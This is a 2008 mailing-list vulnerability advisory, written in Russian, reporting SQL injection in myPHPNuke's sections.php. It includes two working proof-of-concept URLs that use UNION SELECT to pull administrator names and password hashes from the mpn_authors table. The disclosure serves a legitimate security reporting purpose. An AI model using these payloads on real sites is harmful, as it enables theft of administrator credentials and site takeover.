Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Multiple Cross Site Scripting (XSS) and SQL injection Vulnerabilities in XRMS, CVE-2008-3664

[ MDVSA-2008:185 ] python-django

aspWebAlbum 3.2 (Upload/SQL/XSS) Multiple Remote Vulnerabilities

Zen Cart <= 1.3.8a SQL Injection

From:	MustLive <mustlive_(at)_websecurity.com.ua>
Date:	07.09.2008
Subject:	SQL Injection vulnerabilities in myPHPNuke

Здравствуйте 3APA3A!

Сообщаю вам о найденных мною SQL Injection уязвимостях в системе myPHPNuke.

SQL Injection:

Уязвимости в скрипте sections.php в параметрах artid и secid.

http://site/sections.php?op=viewarticle&artid=-
1%20union%20select%20null,null,aid,pwd,null,null,null,
null%20from%20mpn_authors%20limit%200,1

http://site/sections.php?op=listarticles&secid=-
1%20union%20select%20concat(aid,char(45),
pwd)%20from%20mpn_authors%20limit%200,1

Уязвимы версии до myPHPNuke 1.8.8_8rc2 (а в последней версии системы возможна ограниченная SQL
Injection атака).

Дополнительная информация о данных уязвимостях у меня на сайте:
http://websecurity.com.ua/2401/

Best wishes & regards,
MustLive
Администратор сайта
http://websecurity.com.ua